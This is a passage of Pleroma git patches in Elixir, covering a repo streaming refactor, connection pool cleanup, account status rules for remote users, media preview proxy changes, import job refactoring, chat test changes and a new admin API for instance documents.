:one) do # We don't actually need start and end funcitons of resource streaming, # but it seems to be the only way to not fetch records one-by-one and diff --git a/lib/pleroma/repo_streamer.ex b/lib/pleroma/repo_streamer.ex deleted file mode 100644 index cb4d7bb7a..000000000 --- a/lib/pleroma/repo_streamer.ex +++ /dev/null @@ -1,34 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.RepoStreamer do - alias Pleroma.Repo - import Ecto.Query - - def chunk_stream(query, chunk_size) do - Stream.unfold(0, fn - :halt -> - {[], :halt} - - last_id -> - query - |> order_by(asc: :id) - |> where([r], r.id > ^last_id) - |> limit(^chunk_size) - |> Repo.all() - |> case do - [] -> - {[], :halt} - - records -> - last_id = List.last(records).id - {records, last_id} - end - end) - |> Stream.take_while(fn - [] -> false - _ -> true - end) - end -end diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index e73d19964..57497eb83 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -25,7 +25,6 @@ defmodule Pleroma.User do alias Pleroma.Object alias Pleroma.Registration alias Pleroma.Repo - alias Pleroma.RepoStreamer alias Pleroma.User alias Pleroma.UserRelationship alias Pleroma.Web @@ -1775,7 +1774,7 @@ def delete_notifications_from_user_activities(%User{ap_id: ap_id}) do def delete_user_activities(%User{ap_id: ap_id} = user) do ap_id |> Activity.Queries.by_actor() - |> RepoStreamer.chunk_stream(50) + |> Repo.chunk_stream(50, :batches) |> Stream.each(fn activities -> Enum.each(activities, fn activity -> delete_activity(activity, user) end) end) diff --git a/test/repo_test.exs b/test/repo_test.exs index 72c0b5071..155791be2 100644 --- a/test/repo_test.exs +++ b/test/repo_test.exs @@ -49,4 +49,32 @@ test "return error if has not assoc " do assert Repo.get_assoc(token, :user) == {:error, :not_found} end end + + describe "chunk_stream/3" do + test "fetch records one-by-one" do + users = insert_list(50, :user) + + {fetch_users, 50} = + from(t in User) + |> Repo.chunk_stream(5) + |> Enum.reduce({[], 0}, fn %User{} = user, {acc, count} -> + {acc ++ [user], count + 1} + end) + + assert users == fetch_users + end + + test "fetch records in bulk" do + users = insert_list(50, :user) + + {fetch_users, 10} = + from(t in User) + |> Repo.chunk_stream(5, :batches) + |> Enum.reduce({[], 0}, fn users, {acc, count} -> + {acc ++ users, count + 1} + end) + + assert users == fetch_users + end + end end -- cgit v1.2.3 From adb1b0282dfbced2b2986c90cff765be37dd5151 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Wed, 16 Sep 2020 17:23:05 +0300 Subject: ConnectionPool Worker: use monitor flush instead of checking ref `:flush` removes the DOWN message if one had arrived, so this check should no longer be necessary. --- lib/pleroma/gun/connection_pool/worker.ex | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) diff --git a/lib/pleroma/gun/connection_pool/worker.ex b/lib/pleroma/gun/connection_pool/worker.ex index 49d41e4c7..bf57e9e5f 100644 --- a/lib/pleroma/gun/connection_pool/worker.ex +++ b/lib/pleroma/gun/connection_pool/worker.ex @@ -93,25 +93,18 @@ def handle_call(:remove_client, {client_pid, _}, %{key: key} = state) do end) {ref, state} = pop_in(state.client_monitors[client_pid]) - # DOWN message can receive right after `remove_client` call and cause worker to terminate - state = - if is_nil(ref) do - state - else - Process.demonitor(ref) - timer = - if used_by == [] do - max_idle = Pleroma.Config.get([:connections_pool, :max_idle_time], 30_000) - Process.send_after(self(), :idle_close, max_idle) - else - nil - end + Process.demonitor(ref, [:flush]) - %{state | timer: timer} + timer = + if used_by == [] do + max_idle = Pleroma.Config.get([:connections_pool, :max_idle_time], 30_000) + Process.send_after(self(), :idle_close, max_idle) + else + nil end - {:reply, :ok, state, :hibernate} + {:reply, :ok, %{state | timer: timer}, :hibernate} end @impl true -- cgit v1.2.3 From 7a88b726bf81e1610ade2b07ffd6af672b701600 Mon Sep 17 00:00:00 2001 From: lain Date: Wed, 16 Sep 2020 17:29:16 +0200 Subject: User: Remote users don't need to be confirmed or approved --- lib/pleroma/user.ex | 4 ++-- test/user_test.exs | 15 ++++++++++++--- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index 57497eb83..1ffe60dfc 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -275,9 +275,9 @@ def binary_id(%User{} = user), do: binary_id(user.id) @spec account_status(User.t()) :: account_status() def account_status(%User{deactivated: true}), do: :deactivated def account_status(%User{password_reset_pending: true}), do: :password_reset_pending - def account_status(%User{approval_pending: true}), do: :approval_pending + def account_status(%User{local: true, approval_pending: true}), do: :approval_pending - def account_status(%User{confirmation_pending: true}) do + def account_status(%User{local: true, confirmation_pending: true}) do if Config.get([:instance, :account_activation_required]) do :confirmation_pending else diff --git a/test/user_test.exs b/test/user_test.exs index a910226b2..060918d71 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -1676,7 +1676,7 @@ test "returns true when the account is itself" do assert User.visible_for(user, user) == :visible end - test "returns false when the account is unauthenticated and auth is required" do + test "returns false when the account is unconfirmed and confirmation is required" do Pleroma.Config.put([:instance, :account_activation_required], true) user = insert(:user, local: true, confirmation_pending: true) @@ -1685,14 +1685,23 @@ test "returns false when the account is unauthenticated and auth is required" do refute User.visible_for(user, other_user) == :visible end - test "returns true when the account is unauthenticated and auth is not required" do + test "returns true when the account is unconfirmed and confirmation is required but the account is remote" do + Pleroma.Config.put([:instance, :account_activation_required], true) + + user = insert(:user, local: false, confirmation_pending: true) + other_user = insert(:user, local: true) + + assert User.visible_for(user, other_user) == :visible + end + + test "returns true when the account is unconfirmed and confirmation is not required" do user = insert(:user, local: true, confirmation_pending: true) other_user = insert(:user, local: true) assert User.visible_for(user, other_user) == :visible end - test "returns true when the account is unauthenticated and being viewed by a privileged account (auth required)" do + test "returns true when the account is unconfirmed and being viewed by a privileged account (confirmation required)" do Pleroma.Config.put([:instance, :account_activation_required], true) user = insert(:user, local: true, confirmation_pending: true) -- cgit v1.2.3 From 73e0e6a8a2efaac513077317229f72b128f3a3ea Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 16 Sep 2020 10:56:42 -0500 Subject: Remove unused import --- test/object/fetcher_test.exs | 1 - 1 file changed, 1 deletion(-) diff --git a/test/object/fetcher_test.exs b/test/object/fetcher_test.exs index 3173ee31c..14d2c645f 100644 --- a/test/object/fetcher_test.exs +++ b/test/object/fetcher_test.exs @@ -10,7 +10,6 @@ defmodule Pleroma.Object.FetcherTest do alias Pleroma.Object alias Pleroma.Object.Fetcher - import ExUnit.CaptureLog import Mock import Tesla.Mock -- cgit v1.2.3 From a781f41f969bd1a929005b2b5006a40d42855ae8 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Wed, 16 Sep 2020 22:30:42 +0300 Subject: [#2497] Media preview proxy: misc. improvements (`static` param support, dynamic fifo pipe path), refactoring. --- CHANGELOG.md | 3 +++ lib/pleroma/helpers/media_helper.ex | 4 +--- lib/pleroma/helpers/uri_helper.ex | 13 ++++++++----- lib/pleroma/web/mastodon_api/views/account_view.ex | 4 ++-- lib/pleroma/web/media_proxy/media_proxy.ex | 2 +- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 19 ++++++++++++++++--- lib/pleroma/web/oauth/oauth_controller.ex | 4 ++-- 7 files changed, 33 insertions(+), 16 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f7a372e11..adea6d019 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -11,6 +11,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Renamed `:timeout` in `pools` namespace to `:recv_timeout`, old name is deprecated. - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). +### Added +- Media preview proxy (requires media proxy be enabled; see `:media_preview_proxy` config for more details). + ### Removed - **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). diff --git a/lib/pleroma/helpers/media_helper.ex b/lib/pleroma/helpers/media_helper.ex index d834b4a07..9b7348ee2 100644 --- a/lib/pleroma/helpers/media_helper.ex +++ b/lib/pleroma/helpers/media_helper.ex @@ -9,8 +9,6 @@ defmodule Pleroma.Helpers.MediaHelper do alias Pleroma.HTTP - @tmp_base "/tmp/pleroma-media_preview-pipe" - def image_resize(url, options) do with executable when is_binary(executable) <- System.find_executable("convert"), {:ok, args} <- prepare_image_resize_args(options), @@ -103,7 +101,7 @@ defp run_fifo(fifo_path, env, executable, args) do end defp mkfifo do - path = "#{@tmp_base}#{to_charlist(:erlang.phash2(self()))}" + path = Path.join(System.tmp_dir!(), "pleroma-media-preview-pipe-#{Ecto.UUID.generate()}") case System.cmd("mkfifo", [path]) do {_, 0} -> diff --git a/lib/pleroma/helpers/uri_helper.ex b/lib/pleroma/helpers/uri_helper.ex index 9c9e53447..f1301f055 100644 --- a/lib/pleroma/helpers/uri_helper.ex +++ b/lib/pleroma/helpers/uri_helper.ex @@ -3,14 +3,17 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Helpers.UriHelper do - def append_uri_params(uri, appended_params) do + def modify_uri_params(uri, overridden_params, deleted_params \\ []) do uri = URI.parse(uri) - appended_params = for {k, v} <- appended_params, into: %{}, do: {to_string(k), v} - existing_params = URI.query_decoder(uri.query || "") |> Enum.into(%{}) - updated_params_keys = Enum.uniq(Map.keys(existing_params) ++ Map.keys(appended_params)) + + existing_params = URI.query_decoder(uri.query || "") |> Map.new() + overridden_params = Map.new(overridden_params, fn {k, v} -> {to_string(k), v} end) + deleted_params = Enum.map(deleted_params, &to_string/1) updated_params = - for k <- updated_params_keys, do: {k, appended_params[k] || existing_params[k]} + existing_params + |> Map.merge(overridden_params) + |> Map.drop(deleted_params) uri |> Map.put(:query, URI.encode_query(updated_params)) diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index a811f81c2..121ba1693 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -182,9 +182,9 @@ defp do_render("show.json", %{user: user} = opts) do display_name = user.name || user.nickname avatar = User.avatar_url(user) |> MediaProxy.url() - avatar_static = User.avatar_url(user) |> MediaProxy.preview_url(output_format: "jpeg") + avatar_static = User.avatar_url(user) |> MediaProxy.preview_url(static: true) header = User.banner_url(user) |> MediaProxy.url() - header_static = User.banner_url(user) |> MediaProxy.preview_url(output_format: "jpeg") + header_static = User.banner_url(user) |> MediaProxy.preview_url(static: true) following_count = if !user.hide_follows_count or !user.hide_follows or opts[:for] == user do diff --git a/lib/pleroma/web/media_proxy/media_proxy.ex b/lib/pleroma/web/media_proxy/media_proxy.ex index ba553998b..8656b8cad 100644 --- a/lib/pleroma/web/media_proxy/media_proxy.ex +++ b/lib/pleroma/web/media_proxy/media_proxy.ex @@ -157,7 +157,7 @@ def build_url(sig_base64, url_base64, filename \\ nil) do def build_preview_url(sig_base64, url_base64, filename \\ nil, preview_params \\ []) do uri = proxy_url("proxy/preview", sig_base64, url_base64, filename) - UriHelper.append_uri_params(uri, preview_params) + UriHelper.modify_uri_params(uri, preview_params) end def verify_request_path_and_url( diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 78df7763e..fe279e964 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -7,6 +7,7 @@ defmodule Pleroma.Web.MediaProxy.MediaProxyController do alias Pleroma.Config alias Pleroma.Helpers.MediaHelper + alias Pleroma.Helpers.UriHelper alias Pleroma.ReverseProxy alias Pleroma.Web.MediaProxy alias Plug.Conn @@ -74,14 +75,26 @@ defp handle_preview(conn, url) do end defp handle_preview( - "image/" <> _ = _content_type, + "image/gif" = _content_type, _content_length, - %{params: %{"output_format" => "jpeg"}} = conn, + %{params: %{"static" => static}} = conn, media_proxy_url - ) do + ) + when static in ["true", true] do handle_jpeg_preview(conn, media_proxy_url) end + defp handle_preview( + _content_type, + _content_length, + %{params: %{"static" => static}} = conn, + _media_proxy_url + ) + when static in ["true", true] do + uri_without_static_param = UriHelper.modify_uri_params(current_url(conn), %{}, ["static"]) + redirect(conn, external: uri_without_static_param) + end + defp handle_preview("image/gif" = _content_type, _content_length, conn, media_proxy_url) do redirect(conn, external: media_proxy_url) end diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex index 26e68be42..a4152e840 100644 --- a/lib/pleroma/web/oauth/oauth_controller.ex +++ b/lib/pleroma/web/oauth/oauth_controller.ex @@ -119,7 +119,7 @@ defp handle_existing_authorization( redirect_uri = redirect_uri(conn, redirect_uri) url_params = %{access_token: token.token} url_params = Maps.put_if_present(url_params, :state, params["state"]) - url = UriHelper.append_uri_params(redirect_uri, url_params) + url = UriHelper.modify_uri_params(redirect_uri, url_params) redirect(conn, external: url) else conn @@ -161,7 +161,7 @@ def after_create_authorization(%Plug.Conn{} = conn, %Authorization{} = auth, %{ redirect_uri = redirect_uri(conn, redirect_uri) url_params = %{code: auth.token} url_params = Maps.put_if_present(url_params, :state, auth_attrs["state"]) - url = UriHelper.append_uri_params(redirect_uri, url_params) + url = UriHelper.modify_uri_params(redirect_uri, url_params) redirect(conn, external: url) else conn -- cgit v1.2.3 From 5a8ea0a5b07c22d567a60af36345483fe880b638 Mon Sep 17 00:00:00 2001 From: Maksim Pechnikov Date: Thu, 17 Sep 2020 09:13:43 +0300 Subject: small refactoring --- lib/pleroma/user/import.ex | 10 ++-------- lib/pleroma/workers/background_worker.ex | 29 +++-------------------------- 2 files changed, 5 insertions(+), 34 deletions(-) diff --git a/lib/pleroma/user/import.ex b/lib/pleroma/user/import.ex index de27bdc4c..e458021c8 100644 --- a/lib/pleroma/user/import.ex +++ b/lib/pleroma/user/import.ex @@ -65,20 +65,14 @@ defp handle_error(op, user_id, error) do def blocks_import(%User{} = blocker, [_ | _] = identifiers) do BackgroundWorker.enqueue( "blocks_import", - %{ - "blocker_id" => blocker.id, - "blocked_identifiers" => identifiers - } + %{"user_id" => blocker.id, "identifiers" => identifiers} ) end def follow_import(%User{} = follower, [_ | _] = identifiers) do BackgroundWorker.enqueue( "follow_import", - %{ - "follower_id" => follower.id, - "followed_identifiers" => identifiers - } + %{"user_id" => follower.id, "identifiers" => identifiers} ) end diff --git a/lib/pleroma/workers/background_worker.ex b/lib/pleroma/workers/background_worker.ex index f9c767ee0..55b5a13d9 100644 --- a/lib/pleroma/workers/background_worker.ex +++ b/lib/pleroma/workers/background_worker.ex @@ -26,33 +26,10 @@ def perform(%Job{args: %{"op" => "force_password_reset", "user_id" => user_id}}) User.perform(:force_password_reset, user) end - def perform(%Job{ - args: %{ - "op" => "blocks_import", - "blocker_id" => blocker_id, - "blocked_identifiers" => blocked_identifiers - } - }) do - blocker = User.get_cached_by_id(blocker_id) - {:ok, User.Import.perform(:blocks_import, blocker, blocked_identifiers)} - end - - def perform(%Job{ - args: %{ - "op" => "follow_import", - "follower_id" => follower_id, - "followed_identifiers" => followed_identifiers - } - }) do - follower = User.get_cached_by_id(follower_id) - {:ok, User.Import.perform(:follow_import, follower, followed_identifiers)} - end - - def perform(%Job{ - args: %{"op" => "mutes_import", "user_id" => user_id, "identifiers" => identifiers} - }) do + def perform(%Job{args: %{"op" => op, "user_id" => user_id, "identifiers" => identifiers}}) + when op in ["blocks_import", "follow_import", "mutes_import"] do user = User.get_cached_by_id(user_id) - {:ok, User.Import.perform(:mutes_import, user, identifiers)} + {:ok, User.Import.perform(String.to_atom(op), user, identifiers)} end def perform(%Job{args: %{"op" => "media_proxy_preload", "message" => message}}) do -- cgit v1.2.3 From e39ff2616b6694f97ab793bc60b5caa7b509f0b1 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 17 Sep 2020 13:29:26 +0200 Subject: Admin chat api tests: Small additions. --- test/web/admin_api/controllers/admin_api_controller_test.exs | 2 +- test/web/admin_api/controllers/chat_controller_test.exs | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index 3476fd0b4..e6ad210a2 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1521,7 +1521,7 @@ test "excludes reblogs by default", %{conn: conn, user: user} do %{user: user} end - test "renders user's statuses", %{conn: conn, user: user} do + test "renders user's chats", %{conn: conn, user: user} do conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") assert json_response(conn, 200) |> length() == 3 diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs index e81484ce6..bd4c9c9d1 100644 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ b/test/web/admin_api/controllers/chat_controller_test.exs @@ -40,8 +40,10 @@ test "it deletes a message from the chat", %{conn: conn, admin: admin} do object = Object.normalize(message, false) chat = Chat.get(user.id, recipient.ap_id) + recipient_chat = Chat.get(recipient.id, user.ap_id) cm_ref = MessageReference.for_chat_and_object(chat, object) + recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object) result = conn @@ -56,6 +58,7 @@ test "it deletes a message from the chat", %{conn: conn, admin: admin} do assert result["id"] == cm_ref.id refute MessageReference.get_by_id(cm_ref.id) + refute MessageReference.get_by_id(recipient_cm_ref.id) assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) end end -- cgit v1.2.3 From 5e3c70afa5c02926a5578628431487e92b2175e9 Mon Sep 17 00:00:00 2001 From: lain Date: Thu, 17 Sep 2020 13:37:25 +0200 Subject: AdminAPI Chat tests: Remove factory. The factory system doesn't work too well with how the chats are done. Instead of tempting people to use it, let's rather use the CommonAPI system for now. --- test/support/factory.ex | 54 ---------------------- .../controllers/admin_api_controller_test.exs | 13 ++++-- 2 files changed, 8 insertions(+), 59 deletions(-) diff --git a/test/support/factory.ex b/test/support/factory.ex index e59d83242..2fdfabbc5 100644 --- a/test/support/factory.ex +++ b/test/support/factory.ex @@ -441,58 +441,4 @@ def filter_factory do phrase: "cofe" } end - - def chat_factory(attrs \\ %{}) do - user = attrs[:user] || insert(:user) - recipient = attrs[:recipient] || insert(:user) - - %Pleroma.Chat{ - user_id: user.id, - recipient: recipient.ap_id - } - end - - def chat_message_factory(attrs \\ %{}) do - text = sequence(:text, &"This is :moominmamma: chat message #{&1}") - chat = attrs[:chat] || insert(:chat) - - data = %{ - "type" => "ChatMessage", - "content" => text, - "id" => Pleroma.Web.ActivityPub.Utils.generate_object_id(), - "actor" => User.get_by_id(chat.user_id).ap_id, - "to" => [chat.recipient], - "published" => DateTime.utc_now() |> DateTime.to_iso8601() - } - - %Pleroma.Object{ - data: merge_attributes(data, Map.get(attrs, :data, %{})) - } - end - - def chat_message_activity_factory(attrs \\ %{}) do - chat = attrs[:chat] || insert(:chat) - chat_message = attrs[:chat_message] || insert(:chat_message, chat: chat) - - data_attrs = attrs[:data_attrs] || %{} - attrs = Map.drop(attrs, [:chat, :chat_message, :data_attrs]) - - data = - %{ - "id" => Pleroma.Web.ActivityPub.Utils.generate_activity_id(), - "type" => "Create", - "actor" => chat_message.data["actor"], - "to" => chat_message.data["to"], - "object" => chat_message.data["id"], - "published" => DateTime.utc_now() |> DateTime.to_iso8601() - } - |> Map.merge(data_attrs) - - %Pleroma.Activity{ - data: data, - actor: data["actor"], - recipients: data["to"] - } - |> Map.merge(attrs) - end end diff --git a/test/web/admin_api/controllers/admin_api_controller_test.exs b/test/web/admin_api/controllers/admin_api_controller_test.exs index e6ad210a2..e4d3512de 100644 --- a/test/web/admin_api/controllers/admin_api_controller_test.exs +++ b/test/web/admin_api/controllers/admin_api_controller_test.exs @@ -1513,10 +1513,11 @@ test "excludes reblogs by default", %{conn: conn, user: user} do describe "GET /api/pleroma/admin/users/:nickname/chats" do setup do user = insert(:user) + recipients = insert_list(3, :user) - insert(:chat, user: user) - insert(:chat, user: user) - insert(:chat, user: user) + Enum.each(recipients, fn recipient -> + CommonAPI.post_chat_message(user, recipient, "yo") + end) %{user: user} end @@ -1531,7 +1532,8 @@ test "renders user's chats", %{conn: conn, user: user} do describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do setup do user = insert(:user) - insert(:chat, user: user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") %{conn: conn} = oauth_access(["read:chats"]) %{conn: conn, user: user} end @@ -1546,7 +1548,8 @@ test "returns 403", %{conn: conn, user: user} do describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do setup do user = insert(:user) - insert(:chat, user: user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") %{conn: build_conn(), user: user} end -- cgit v1.2.3 From 582ad5d4e1587b3dba9d879bd68dd9a315c8446e Mon Sep 17 00:00:00 2001 From: eugenijm Date: Sun, 30 Aug 2020 15:15:14 +0300 Subject: AdminAPI: Allow to modify Terms of Service and Instance Panel via Admin API --- CHANGELOG.md | 6 ++ docs/API/admin_api.md | 42 ++++++++ .../controllers/instance_document_controller.ex | 37 +++++++ .../admin/instance_document_operation.ex | 108 ++++++++++++++++++++ lib/pleroma/web/instance_document.ex | 62 ++++++++++++ lib/pleroma/web/router.ex | 4 + test/fixtures/custom_instance_panel.html | 1 + .../instance_document_controller_test.exs | 112 +++++++++++++++++++++ 8 files changed, 372 insertions(+) create mode 100644 lib/pleroma/web/admin_api/controllers/instance_document_controller.ex create mode 100644 lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex create mode 100644 lib/pleroma/web/instance_document.ex create mode 100644 test/fixtures/custom_instance_panel.html create mode 100644 test/web/admin_api/controllers/instance_document_controller_test.exs diff --git a/CHANGELOG.md b/CHANGELOG.md index f7a372e11..1ec6c11cc 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -41,6 +41,12 @@ switched to a new configuration mechanism, however it was not officially removed ### Added - Rich media failure tracking (along with `:failure_backoff` option). +
+ Admin API Changes + +- Add `PATCH /api/pleroma/admin/instance_document/:document_name` to modify the Terms of Service and Instance Panel HTML pages via Admin API +
+ ### Fixed - Default HTTP adapter not respecting pool setting, leading to possible OOM. - Fixed uploading webp images when the Exiftool Upload Filter is enabled by skipping them diff --git a/docs/API/admin_api.md b/docs/API/admin_api.md index bc96abbf0..eba92dd1f 100644 --- a/docs/API/admin_api.md +++ b/docs/API/admin_api.md @@ -1455,3 +1455,45 @@ Loads json generated from `config/descriptions.exs`. "unread": false } ``` + +## `GET /api/pleroma/admin/instance_document/:document_name` + +### Gets an instance document + +- Authentication: required + +- Response: + +``` json +{ + "url": "https://example.com/instance/panel.html" +} +``` + +## `PATCH /api/pleroma/admin/instance_document/:document_name` +- Params: + - `file` (the file to be uploaded, using multipart form data.) + +### Updates an instance document + +- Authentication: required + +- Response: + +``` json +{ + "url": "https://example.com/instance/panel.html" +} +``` + +## `DELETE /api/pleroma/admin/instance_document/:document_name` + +### Delete an instance document + +- Response: + +``` json +{ + "url": "https://example.com/instance/panel.html" +} +``` diff --git a/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex b/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex new file mode 100644 index 000000000..2144e44ac --- /dev/null +++ b/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentController do + use Pleroma.Web, :controller + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Web.InstanceDocument + + plug(Pleroma.Web.ApiSpec.CastAndValidate) + + action_fallback(Pleroma.Web.AdminAPI.FallbackController) + + defdelegate open_api_operation(action), to: Pleroma.Web.ApiSpec.Admin.InstanceDocumentOperation + + plug(OAuthScopesPlug, %{scopes: ["read"], admin: true} when action == :show) + plug(OAuthScopesPlug, %{scopes: ["write"], admin: true} when action in [:update, :delete]) + + def show(conn, %{name: document_name}) do + with {:ok, url} <- InstanceDocument.get(document_name) do + json(conn, %{"url" => url}) + end + end + + def update(%{body_params: %{file: file}} = conn, %{name: document_name}) do + with {:ok, url} <- InstanceDocument.put(document_name, file.path) do + json(conn, %{"url" => url}) + end + end + + def delete(conn, %{name: document_name}) do + with :ok <- InstanceDocument.delete(document_name) do + json(conn, %{}) + end + end +end diff --git a/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex b/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex new file mode 100644 index 000000000..e0eb993fb --- /dev/null +++ b/lib/pleroma/web/api_spec/operations/admin/instance_document_operation.ex @@ -0,0 +1,108 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ApiSpec.Admin.InstanceDocumentOperation do + alias OpenApiSpex.Operation + alias OpenApiSpex.Schema + alias Pleroma.Web.ApiSpec.Helpers + alias Pleroma.Web.ApiSpec.Schemas.ApiError + + def open_api_operation(action) do + operation = String.to_existing_atom("#{action}_operation") + apply(__MODULE__, operation, []) + end + + def show_operation do + %Operation{ + tags: ["Admin", "InstanceDocument"], + summary: "Get the instance document", + operationId: "AdminAPI.InstanceDocumentController.show", + security: [%{"oAuth" => ["read"]}], + parameters: [ + Operation.parameter(:name, :path, %Schema{type: :string}, "The document name", + required: true + ) + | Helpers.admin_api_params() + ], + responses: %{ + 200 => Operation.response("InstanceDocument", "application/json", instance_document()), + 400 => Operation.response("Bad Request", "application/json", ApiError), + 403 => Operation.response("Forbidden", "application/json", ApiError), + 404 => Operation.response("Not Found", "application/json", ApiError) + } + } + end + + def update_operation do + %Operation{ + tags: ["Admin", "InstanceDocument"], + summary: "Update the instance document", + operationId: "AdminAPI.InstanceDocumentController.update", + security: [%{"oAuth" => ["write"]}], + requestBody: Helpers.request_body("Parameters", update_request()), + parameters: [ + Operation.parameter(:name, :path, %Schema{type: :string}, "The document name", + required: true + ) + | Helpers.admin_api_params() + ], + responses: %{ + 200 => Operation.response("InstanceDocument", "application/json", instance_document()), + 400 => Operation.response("Bad Request", "application/json", ApiError), + 403 => Operation.response("Forbidden", "application/json", ApiError), + 404 => Operation.response("Not Found", "application/json", ApiError) + } + } + end + + defp update_request do + %Schema{ + title: "UpdateRequest", + description: "POST body for uploading the file", + type: :object, + required: [:file], + properties: %{ + file: %Schema{ + type: :string, + format: :binary, + description: "The file to be uploaded, using multipart form data." + } + } + } + end + + def delete_operation do + %Operation{ + tags: ["Admin", "InstanceDocument"], + summary: "Get the instance document", + operationId: "AdminAPI.InstanceDocumentController.delete", + security: [%{"oAuth" => ["write"]}], + parameters: [ + Operation.parameter(:name, :path, %Schema{type: :string}, "The document name", + required: true + ) + | Helpers.admin_api_params() + ], + responses: %{ + 200 => Operation.response("InstanceDocument", "application/json", instance_document()), + 400 => Operation.response("Bad Request", "application/json", ApiError), + 403 => Operation.response("Forbidden", "application/json", ApiError), + 404 => Operation.response("Not Found", "application/json", ApiError) + } + } + end + + defp instance_document do + %Schema{ + title: "InstanceDocument", + type: :object, + properties: %{ + url: %Schema{type: :string} + }, + example: %{ + "url" => "https://example.com/static/terms-of-service.html" + } + } + end +end diff --git a/lib/pleroma/web/instance_document.ex b/lib/pleroma/web/instance_document.ex new file mode 100644 index 000000000..969a44e41 --- /dev/null +++ b/lib/pleroma/web/instance_document.ex @@ -0,0 +1,62 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.InstanceDocument do + alias Pleroma.Config + alias Pleroma.Web.Endpoint + + @instance_documents %{ + "terms-of-service" => "/static/terms-of-service.html", + "instance-panel" => "/instance/panel.html" + } + + @spec get(String.t()) :: {:ok, String.t()} | {:error, atom()} + def get(document_name) do + case Map.fetch(@instance_documents, document_name) do + {:ok, path} -> {:ok, Path.join(Endpoint.url(), path)} + _ -> {:error, :not_found} + end + end + + @spec put(String.t(), String.t()) :: {:ok, String.t()} | {:error, atom()} + def put(document_name, origin_path) do + with {_, {:ok, destination_path}} <- + {:instance_document, Map.fetch(@instance_documents, document_name)}, + :ok <- put_file(origin_path, destination_path) do + {:ok, Path.join(Endpoint.url(), destination_path)} + else + {:instance_document, :error} -> {:error, :not_found} + error -> error + end + end + + @spec delete(String.t()) :: :ok | {:error, atom()} + def delete(document_name) do + with {_, {:ok, path}} <- {:instance_document, Map.fetch(@instance_documents, document_name)}, + instance_static_dir_path <- instance_static_dir(path), + :ok <- File.rm(instance_static_dir_path) do + :ok + else + {:instance_document, :error} -> {:error, :not_found} + {:error, :enoent} -> {:error, :not_found} + error -> error + end + end + + defp put_file(origin_path, destination_path) do + with destination <- instance_static_dir(destination_path), + {_, :ok} <- {:mkdir_p, File.mkdir_p(Path.dirname(destination))}, + {_, {:ok, _}} <- {:copy, File.copy(origin_path, destination)} do + :ok + else + {error, _} -> {:error, error} + end + end + + defp instance_static_dir(filename) do + [:instance, :static_dir] + |> Config.get!() + |> Path.join(filename) + end +end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index e4440d442..a4a58c2c4 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -182,6 +182,10 @@ defmodule Pleroma.Web.Router do get("/instances/:instance/statuses", AdminAPIController, :list_instance_statuses) + get("/instance_document/:name", InstanceDocumentController, :show) + 